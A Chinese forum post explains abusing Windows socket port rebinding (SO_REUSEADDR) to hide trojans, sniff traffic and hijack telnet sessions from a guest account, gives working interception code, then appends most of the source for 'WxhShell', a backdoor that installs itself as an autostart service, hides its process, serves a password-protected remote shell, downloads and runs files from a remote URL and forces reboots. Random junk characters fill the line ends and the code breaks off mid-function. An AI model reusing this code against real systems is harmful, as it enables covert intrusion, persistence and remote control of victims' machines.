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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qL\*rYe<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xc^7  
Ya_4[vR<  
  saddr.sin_family = AF_INET; 1f.xZgO/2  
5xEk 7g.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  W1@Q)i  
B-OuBS,fwC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JKFV7{ %Gl  
j&S8x|5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tv_Cn w  
u D.E>.B  
  这意味着什么?意味着可以进行如下的攻击: ? }k~>. \  
Q~'a1R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <IF\;,.c  
?Z<2zm%qV  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JMMsOA_]  
[|sKu#yW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @QAyXwp  
D4"](RXH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  biFN]D  
y %k`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LRhq%7p7  
,]N!I%SI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GQ-o wH]  
\w 6%J77  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %5_eos&<^)  
tk^1Ga3  
  #include ))n7.pB9/  
  #include r: _- Cj  
  #include ?-FSDNQ  
  #include    ;z9(  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Qa,^;hZWS  
  int main() "9[K  
  { Bc4{$sc"O  
  WORD wVersionRequested; z]k=sk  
  DWORD ret; }*n(RnCn  
  WSADATA wsaData; qj71 rj  
  BOOL val; JH~ve  
  SOCKADDR_IN saddr; YbC6&_  
  SOCKADDR_IN scaddr; Z_qs_/y  
  int err; NgKbf vt  
  SOCKET s; V*l0| ,9  
  SOCKET sc; r\Wp\LfY&{  
  int caddsize; iSxxy1R  
  HANDLE mt; 5eC5oX>  
  DWORD tid;   y+RT[*bX5o  
  wVersionRequested = MAKEWORD( 2, 2 ); ZkYc9!anY  
  err = WSAStartup( wVersionRequested, &wsaData ); Rg&6J#h  
  if ( err != 0 ) { O0xL;@rBe  
  printf("error!WSAStartup failed!\n"); Tk-PCra  
  return -1; %E7+W{?*1  
  } k@5,6s:  
  saddr.sin_family = AF_INET; 6|#^4D)  
   'uUp1+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M[_~7~4  
q*A2>0O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -e%=Mpq.  
  saddr.sin_port = htons(23); UD*#!H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~}4o=O(  
  { *&e+z-E  
  printf("error!socket failed!\n"); o lNL|WJ`w  
  return -1; ,ewg3mYHC&  
  } ;,'!  
  val = TRUE; AEi@t0By  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >w9)c|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m7kDxs(KO  
  { 7F`QN18>(  
  printf("error!setsockopt failed!\n"); $X9Ban]  
  return -1; @DkPJla&  
  } KLq u[{y.'  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }QncTw0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P1 (8foZA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K4n1#]8i  
$t 1]w]}d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GU'5`Yzd9  
  { qPE(Lt1  
  ret=GetLastError(); KN~E9oGs  
  printf("error!bind failed!\n"); *8/Q_w  
  return -1; ]-%ZN+  
  } Lj(hk @  
  listen(s,2); o^&; `XOd  
  while(1) K;6K!6J:[  
  { 2I?HBz1v  
  caddsize = sizeof(scaddr);  R76'1o  
  //接受连接请求  2WE   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r=L9x/r  
  if(sc!=INVALID_SOCKET) < q; ]  
  { #A]7cMZ'W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c#"\&~. P  
  if(mt==NULL) dhK$ XG  
  { -#gb {vj  
  printf("Thread Creat Failed!\n"); bvG").8$  
  break; Oku4EJFJ  
  } {k?Y :  
  } .j}u'!LKul  
  CloseHandle(mt); 5\=9&{WjND  
  } 7U.g4x|<  
  closesocket(s); Z(as@gj H  
  WSACleanup(); ?783LBe  
  return 0; crgYr$@s?  
  }   a _  
  DWORD WINAPI ClientThread(LPVOID lpParam) \|62E):i1  
  { sWavxh8A  
  SOCKET ss = (SOCKET)lpParam; 3sp*.dk  
  SOCKET sc; m qw!C  
  unsigned char buf[4096]; 8!UZ..  
  SOCKADDR_IN saddr; mH{cGu?  
  long num; _a<PUdP  
  DWORD val; p*npY"}v  
  DWORD ret; "apv)xdW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FJU)AjS~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Uw&+zJ  
  saddr.sin_family = AF_INET; ^ _+ks/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !@YYi[Gk  
  saddr.sin_port = htons(23); [qZ4+xF,,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4tuEC-oh  
  { /XMmE  
  printf("error!socket failed!\n"); ]oya<C6pR  
  return -1; _r8AO>  
  } CIaabn  
  val = 100; /Hx0=I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) teB {GR  
  { ~IqT >  
  ret = GetLastError(); H~G=0_S  
  return -1; wcL0#[)  
  } %@xYg{  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ffB]4  
  { a<o0B{7{BM  
  ret = GetLastError(); qt:->yiq+  
  return -1; _$cBI_eA7  
  } 3+$O#>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hN:Z-el  
  { eS.]@ E-T  
  printf("error!socket connect failed!\n"); A+}4 N%kh  
  closesocket(sc); f7W=x6Z4  
  closesocket(ss); '9[_ w$~(  
  return -1; jF5JpyOc  
  } .Lp-'!i  
  while(1) .F6#s  
  { <5#e.w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nSC>x:jY5/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lz*2wGI9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -)Vj08aP  
  num = recv(ss,buf,4096,0); %51pfuL  
  if(num>0) 0x & ^{P~  
  send(sc,buf,num,0); 2~4C5@SxL  
  else if(num==0) fE:2MW!)*  
  break; |S8pq4eKJ_  
  num = recv(sc,buf,4096,0); qXF"1f_+  
  if(num>0) =@z"k'Vl`  
  send(ss,buf,num,0); }*t~&l0  
  else if(num==0) *o#`lH  
  break; i,HAXPi  
  } dkLR Q   
  closesocket(ss); 5jLDe~  
  closesocket(sc); ?7+ 2i\L  
  return 0 ; w&gHmi  
  } KJ~pY<a?  
c9[5)  
Ll`apKr  
========================================================== 6{~I7!m"  
5 9vGLN!L  
下边附上一个代码,,WXhSHELL <f6Oj`{f4  
[Wh 43Z  
========================================================== WDZi @9X_  
;1 fML,8  
#include "stdafx.h" ivq4/Y] -X  
ep!.kA=\  
#include <stdio.h> MI}D%n*  
#include <string.h> 0{yx*}.  
#include <windows.h> $3ILVT  
#include <winsock2.h> _6' g]4  
#include <winsvc.h> /b|sv$BN  
#include <urlmon.h> WToAT;d2h  
i&$uG[&P  
#pragma comment (lib, "Ws2_32.lib") 7`}z7nk  
#pragma comment (lib, "urlmon.lib") O2e "TH3  
rBf?kDt6l  
#define MAX_USER   100 // 最大客户端连接数 )3AT=b  
#define BUF_SOCK   200 // sock buffer hA8 zXk/'8  
#define KEY_BUFF   255 // 输入 buffer S(6ZX>wv:  
ht |r+v-  
#define REBOOT     0   // 重启 H.L@]~AyL  
#define SHUTDOWN   1   // 关机 _+En%p.m  
bv/b<N@4?$  
#define DEF_PORT   5000 // 监听端口 1GdD  
q*O KA5  
#define REG_LEN     16   // 注册表键长度 U6Ak"  
#define SVC_LEN     80   // NT服务名长度 "ivqh{ ,  
f#5JAR  
// 从dll定义API 3_$eQ`AAA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MQ44uHJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ={^#E?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [/G;XHL;?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &[kgrRF@HU  
7;NV 1RV  
// wxhshell配置信息 0,/x#  
struct WSCFG { WIm7p1U#V  
  int ws_port;         // 监听端口 cy4'q ?r  
  char ws_passstr[REG_LEN]; // 口令 #A; Z4jK  
  int ws_autoins;       // 安装标记, 1=yes 0=no VaxO L61xE  
  char ws_regname[REG_LEN]; // 注册表键名 {%{GZ  
  char ws_svcname[REG_LEN]; // 服务名 OX4D'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7VcVI? ?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y6}):|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !Yu-a!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2r,'4%G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" " 44?n <1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]'(7T#  
SWpUVZyd  
}; {R;M`EU>  
s.'\&B[  
// default Wxhshell configuration C`wI6!  
struct WSCFG wscfg={DEF_PORT, Bq@wS\W>b}  
    "xuhuanlingzhe", 5#.\pR{Gd  
    1, vv/,Rgv  
    "Wxhshell", sG2 3[t8  
    "Wxhshell", CDnz &?  
            "WxhShell Service", ,hLSRj{  
    "Wrsky Windows CmdShell Service", D^55:\4(  
    "Please Input Your Password: ", dM{~Ubb  
  1, $3[\:+  
  "http://www.wrsky.com/wxhshell.exe", A(OfG&!  
  "Wxhshell.exe" xc.D!Iav  
    }; 8? Wxd65)  
[P=[hj;  
// 消息定义模块 ^!o}>ls['  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {@__%=`CCS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 pa3}6P+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uy5!H1u  
char *msg_ws_ext="\n\rExit."; +\GZ(!~  
char *msg_ws_end="\n\rQuit."; ,,%:vK+V  
char *msg_ws_boot="\n\rReboot..."; 2 BX GVo  
char *msg_ws_poff="\n\rShutdown..."; +'KE T,  
char *msg_ws_down="\n\rSave to "; 'QojSq   
LG{inhbp  
char *msg_ws_err="\n\rErr!"; X|E+K  
char *msg_ws_ok="\n\rOK!"; &v5.;8u+OV  
YQV?S  
char ExeFile[MAX_PATH]; ?%/u/*9rj  
int nUser = 0; )nHE$gVM s  
HANDLE handles[MAX_USER]; [Cj)@OC  
int OsIsNt; $n Sh[ {  
4UD=Y?zK  
SERVICE_STATUS       serviceStatus; I9un  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8+ F}`lLA  
Fra>|;do  
// 函数声明 hr4ye`c j  
int Install(void); 7k=F6k0)  
int Uninstall(void); ( *>/w$%  
int DownloadFile(char *sURL, SOCKET wsh); |4S?>e  
int Boot(int flag); wp %FM  
void HideProc(void); 2k}-25xxL  
int GetOsVer(void); ,ah*!Zm.kk  
int Wxhshell(SOCKET wsl); 0w(T^G hZ  
void TalkWithClient(void *cs); r<X4ER  
int CmdShell(SOCKET sock); Z%5nVsm:G  
int StartFromService(void); (y~laW!  
int StartWxhshell(LPSTR lpCmdLine); Ft;u\KT  
daB l%a=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =vr Y{5!>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mw(c[.*%  
hkwa""-  
// 数据结构和表定义 hzQ+9-qA  
SERVICE_TABLE_ENTRY DispatchTable[] = 3p3WDL7  
{ hB7pR"P  
{wscfg.ws_svcname, NTServiceMain}, E {KS a  
{NULL, NULL} TD{=L*{+  
}; ,<$YVXe/  
& &" 'dL  
// 自我安装 q11QAx4p  
int Install(void) h;%i/feFg  
{ f `y" a@  
  char svExeFile[MAX_PATH]; * {gxI<   
  HKEY key; 3WCqKXJ7  
  strcpy(svExeFile,ExeFile); m0|Ae@g~3  
g=xv+e  
// 如果是win9x系统,修改注册表设为自启动 ,2,SG/BB  
if(!OsIsNt) { =_8 UZk.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #d Z/UM(u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AhvvuN$n%  
  RegCloseKey(key); &nqdl+|G*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .]j#y9>&w%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p@/(.uE  
  RegCloseKey(key); `RL,ZoYuu  
  return 0; >*`>0Q4y  
    } tw'hh@7-Y  
  } .-SF$U_P*a  
} =w ^TcV  
else { L\b]k,Ksf  
-BA"3 S  
// 如果是NT以上系统,安装为系统服务 3(!/["@7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d7"U WY^  
if (schSCManager!=0) 1C_'H.q<=  
{ d"H<e}D  
  SC_HANDLE schService = CreateService x.b; +p}=  
  ( H>?:U]  
  schSCManager, Opv1B2  
  wscfg.ws_svcname, 8 7RHA $?  
  wscfg.ws_svcdisp, ~`t%M?l  
  SERVICE_ALL_ACCESS, 7E$eN8H  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K??1,I  
  SERVICE_AUTO_START, J3;Tm~KJ_  
  SERVICE_ERROR_NORMAL, T3PX gL)o  
  svExeFile, uR#'lb`3  
  NULL, <S]KaDu^  
  NULL, })@tA<+  
  NULL, -a  *NbH  
  NULL, 8f?rEI\0GD  
  NULL pC*BA<?Rg  
  ); 0VzXDb>`  
  if (schService!=0) tC&fA E:S  
  { Bv^+d\*1  
  CloseServiceHandle(schService); .Y!;xB/  
  CloseServiceHandle(schSCManager); y7/PDB\he  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Kb-W tFx  
  strcat(svExeFile,wscfg.ws_svcname); NEA_Plt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n`%2Mj c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !w q4EV  
  RegCloseKey(key); kg<P t >  
  return 0; E;6~R M:  
    } Sv7 i! j  
  } 9C_*3?6  
  CloseServiceHandle(schSCManager); DU;[btK>  
} \a"i7Caa  
} 75ZH  
RI-A"cc6A  
return 1; wW-Ab  
} - yoAxPDW  
{AOG"T&<  
// 自我卸载 19c@`?  
int Uninstall(void) mR% FqaN_  
{ SV.z>p  
  HKEY key; q .J sf+  
j1*f]va  
if(!OsIsNt) { ]< XR]FHx)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~"K ,7sw!Y  
  RegDeleteValue(key,wscfg.ws_regname); CMW,slC_3  
  RegCloseKey(key); Lrd[O v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +f|BiW  
  RegDeleteValue(key,wscfg.ws_regname); ,"\@fwy{  
  RegCloseKey(key); Y?K{(szo ?  
  return 0; s?rBE.g@}  
  } A+getdr  
} @=}YTtq  
}  #wL  
else { 35E_W>n  
x=ul&|^7D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wr[,  
if (schSCManager!=0) R" ;x vo*  
{ Oo"^%F~%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $2W%2rZ  
  if (schService!=0) \v'p/G)g  
  { 6Yx4lWBR?  
  if(DeleteService(schService)!=0) { G6T_O  
  CloseServiceHandle(schService); 0q&<bV:D  
  CloseServiceHandle(schSCManager); .zi_[  
  return 0; {NHdyc$  
  } _d5QbTe  
  CloseServiceHandle(schService); 9I}-[|`u  
  } wK?vPS  
  CloseServiceHandle(schSCManager); \O2Rhz  
} $<}$DH_Y  
} vN`klDJgW[  
XD.)Dl8  
return 1; A"L&a l$i  
} U~:-roQ(\  
{ \81i8b]  
// 从指定url下载文件 aDU<wxnSvO  
int DownloadFile(char *sURL, SOCKET wsh) Z&1\{PG3*  
{ [ CQ+p!QZ  
  HRESULT hr; 8WXQ Oo8  
char seps[]= "/"; M/b Sud?@%  
char *token; Mk"^?%PxT  
char *file; Te"ioU?.  
char myURL[MAX_PATH]; NPy&OcRl  
char myFILE[MAX_PATH]; La`NPY_:>  
C5o#i*|  
strcpy(myURL,sURL); <:+x+4ru  
  token=strtok(myURL,seps); d; boIP`M;  
  while(token!=NULL) !fE`4<|?  
  { 9)l$ aBa  
    file=token; tHU2/V:R  
  token=strtok(NULL,seps); 5?f ^Rz  
  } /J]5H  
tj'\tW+s'  
GetCurrentDirectory(MAX_PATH,myFILE); { a =#B)6  
strcat(myFILE, "\\"); pIc#L>{E  
strcat(myFILE, file); p?02C# p  
  send(wsh,myFILE,strlen(myFILE),0); &T#;-`'  
send(wsh,"...",3,0); pE`})/?\*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _qF+tm  
  if(hr==S_OK) l|u>Tb|V  
return 0;  CT&|QH{  
else ncaT?~u j  
return 1; ~?l | [  
Q1Kfi8h}'  
} kBS9tKBWg  
&w\{TZ{  
// 系统电源模块 ,Co|-DYf}  
int Boot(int flag) s9 mx  
{ P1!qbFDv8  
  HANDLE hToken; ,KH#NY]  
  TOKEN_PRIVILEGES tkp; KS+'|q<?w  
}PlRx6r@  
  if(OsIsNt) { y RqL9t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XPc^Tq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (g]!J_Z"  
    tkp.PrivilegeCount = 1; }{Pp]*I<A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'ms-*c&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &u."A3(  
if(flag==REBOOT) { aqZi:icFa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yZY\MB/  
  return 0; ~ah~cwmpS  
} )MVz$h{c.]  
else { 6yG^p]zZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CZwXTHe  
  return 0; l'rja.\  
} QW~E&B%  
  } Wtd/=gmiI  
  else { &J]K3w1p  
if(flag==REBOOT) { #P9~}JB3,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [85spub&}  
  return 0; `{h*/Q  
} |3b^~?S  
else { net@j#}j-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %IA\pSE  
  return 0; sE<V5`Z=  
} `$IK`O  
} "Yv_B3p   
::lKL  
return 1; Gr'  CtO  
} jXx<`I+]  
@f~RdO3  
// win9x进程隐藏模块 8 +/rlHp  
void HideProc(void) 6r0krbN  
{ -#[a7',Z;  
Oh`69 k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Tya1/w4  
  if ( hKernel != NULL ) ) 1f~ dR88  
  { py!|\00}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AaOu L,l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e7Z32P0ls  
    FreeLibrary(hKernel); =pO^7g  
  } KIf dafRL  
c /HHy,  
return; 61>.vT8P  
} vhW2PzHFRi  
F=e8IUr  
// 获取操作系统版本 9gDkTYkj  
int GetOsVer(void) mb TEp*H  
{ EF[@$j   
  OSVERSIONINFO winfo; Ys!82M$g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %COX7gV  
  GetVersionEx(&winfo); wr/"yQA]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %K lrSo  
  return 1; N=5a54!/  
  else v\gLWq'  
  return 0; 9}!qR|l3nR  
} #uG%j  
I(L,8n5  
// 客户端句柄模块 S]e|"n~@  
int Wxhshell(SOCKET wsl) SumF  2  
{ eCU:Q  
  SOCKET wsh; ifMRryN4  
  struct sockaddr_in client; }_M~2L?i  
  DWORD myID; RNEp4x  
h,u, ^ r  
  while(nUser<MAX_USER) n`?aC|P2s  
{ )Pa'UGY  
  int nSize=sizeof(client); Fx_z6a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zx"s*:O  
  if(wsh==INVALID_SOCKET) return 1; p?%y82E  
[\98$BN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z [}v{  
if(handles[nUser]==0) T?CdZc.  
  closesocket(wsh); MO]F1E?X  
else { =9,n\85#  
  nUser++; ~|D Ut   
  } A7Cm5>Y_S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DZ 3wCLQtK  
e9Wa<i 8  
  return 0; hlvK5Z   
} MIeU,KT#U  
xA2YG|RU=b  
// 关闭 socket ]Grek<  
void CloseIt(SOCKET wsh) |*eZD-f  
{ oAVnK[EMq`  
closesocket(wsh); PcMD])Z{G  
nUser--; ;W )Y OT  
ExitThread(0); <]t%8GB2V  
} A0s ZOCky  
,5p(T_V/  
// 客户端请求句柄 j?\Qh  
void TalkWithClient(void *cs) Igt#V;kK"2  
{ :K,i\  
Xf]d. :  
  SOCKET wsh=(SOCKET)cs; vzAaxk%  
  char pwd[SVC_LEN]; :gibfk]C  
  char cmd[KEY_BUFF]; 3AtGy'NTp  
char chr[1]; !;v|'I  
int i,j; VQt0  4?  
R$<&ie6UQ  
  while (nUser < MAX_USER) { 3BJ0S.TF  
!sP {gi#=  
if(wscfg.ws_passstr) { kd(8I_i@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CNyIQ}NJ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '3fu  
  //ZeroMemory(pwd,KEY_BUFF); RWZSQ~  
      i=0; 7t0=[i  
  while(i<SVC_LEN) { `i*E~'  
n0 {i&[I~+  
  // 设置超时 &)ChQZA  
  fd_set FdRead; u'DRN,h+  
  struct timeval TimeOut; }@+0/W?\.  
  FD_ZERO(&FdRead); &%DY\*  
  FD_SET(wsh,&FdRead); VA_PvL.9  
  TimeOut.tv_sec=8; I"<\<^B<  
  TimeOut.tv_usec=0; \'D0'\:vz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Kg ks4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rtl"Ub@HV  
b5vC'B-!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k$R-#f;  
  pwd=chr[0]; #OD/$f_  
  if(chr[0]==0xd || chr[0]==0xa) { ?P`K7  
  pwd=0; 266h\2t6  
  break; l<LI7Z]A  
  } <0&*9ZeD  
  i++; 'Aq{UGN  
    } Yujiqi]J;  
]Ie 0S~  
  // 如果是非法用户,关闭 socket vMH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b9HtR-iR;  
} f+,qNvBY/  
DU/]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m@v\(rT.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~KX/ Ai  
h2]P]@nW;W  
while(1) { 'XjZ_ng  
y I  
  ZeroMemory(cmd,KEY_BUFF); P* BmHz4KL  
giw &&l=_  
      // 自动支持客户端 telnet标准   jcf7n`L  
  j=0; "_NN3lD)X  
  while(j<KEY_BUFF) { C1n>M}b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Hd ={CFip  
  cmd[j]=chr[0]; ,m|h<faZL  
  if(chr[0]==0xa || chr[0]==0xd) {  {Gk1vcq  
  cmd[j]=0; }!.(n=idZ  
  break; /{n-Y/j p  
  } P{>!5|k  
  j++; zL0pw'4  
    } ~4Fvy'  
i3mcx)d@H  
  // 下载文件 ,<P vovg_  
  if(strstr(cmd,"http://")) { Q\7h`d%)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ka V8[|Gn,  
  if(DownloadFile(cmd,wsh)) A]oV"`f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Moza".fiN  
  else wc4{)qDE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `l[c_%Bm  
  } 2eY_%Y0  
  else { flbd0NB  
~HsJUro  
    switch(cmd[0]) { }(73Syl#  
  ?1 4{J]H4  
  // 帮助 O m2d .7S  
  case '?': { \X D6 pr@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YPk fx  
    break; 7[XRd9a5(  
  } Aw.qK9I  
  // 安装 `1fY)d^ZS  
  case 'i': { GGs}i1m  
    if(Install()) M!^az[[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i<Zc"v;  
    else c`w}|d]mC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +iRh  
    break; v PG},m~-  
    } )Y{L&A  
  // 卸载 ;85>xHK  
  case 'r': { 3;]H1 1  
    if(Uninstall()) /@TF5]Ri  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "J_9WUN  
    else 1\2no{Vh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j'"J%e]  
    break; $B5aje}i  
    } w%jII{@,  
  // 显示 wxhshell 所在路径 Z,Dl` w  
  case 'p': { sS'm!7*(3  
    char svExeFile[MAX_PATH]; M-Y_ Wb3  
    strcpy(svExeFile,"\n\r"); Ean5b>\  
      strcat(svExeFile,ExeFile); oQ[f,7u  
        send(wsh,svExeFile,strlen(svExeFile),0); z5*'{t)  
    break; 1?+St`+{B-  
    } 60?%<oJ oH  
  // 重启 _ *Pf  
  case 'b': { F0Yd@Lk$_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #BH*Z(  
    if(Boot(REBOOT)) lZKi'vg7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U0P~  
    else { ":QZy8f9%  
    closesocket(wsh); CryBwm  
    ExitThread(0); t&e{_|i#+  
    } p947w,1![  
    break; <*cikXS  
    } D_zZXbNc  
  // 关机 bq0zxg%  
  case 'd': { ml }{|Yz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U9MxI%tb  
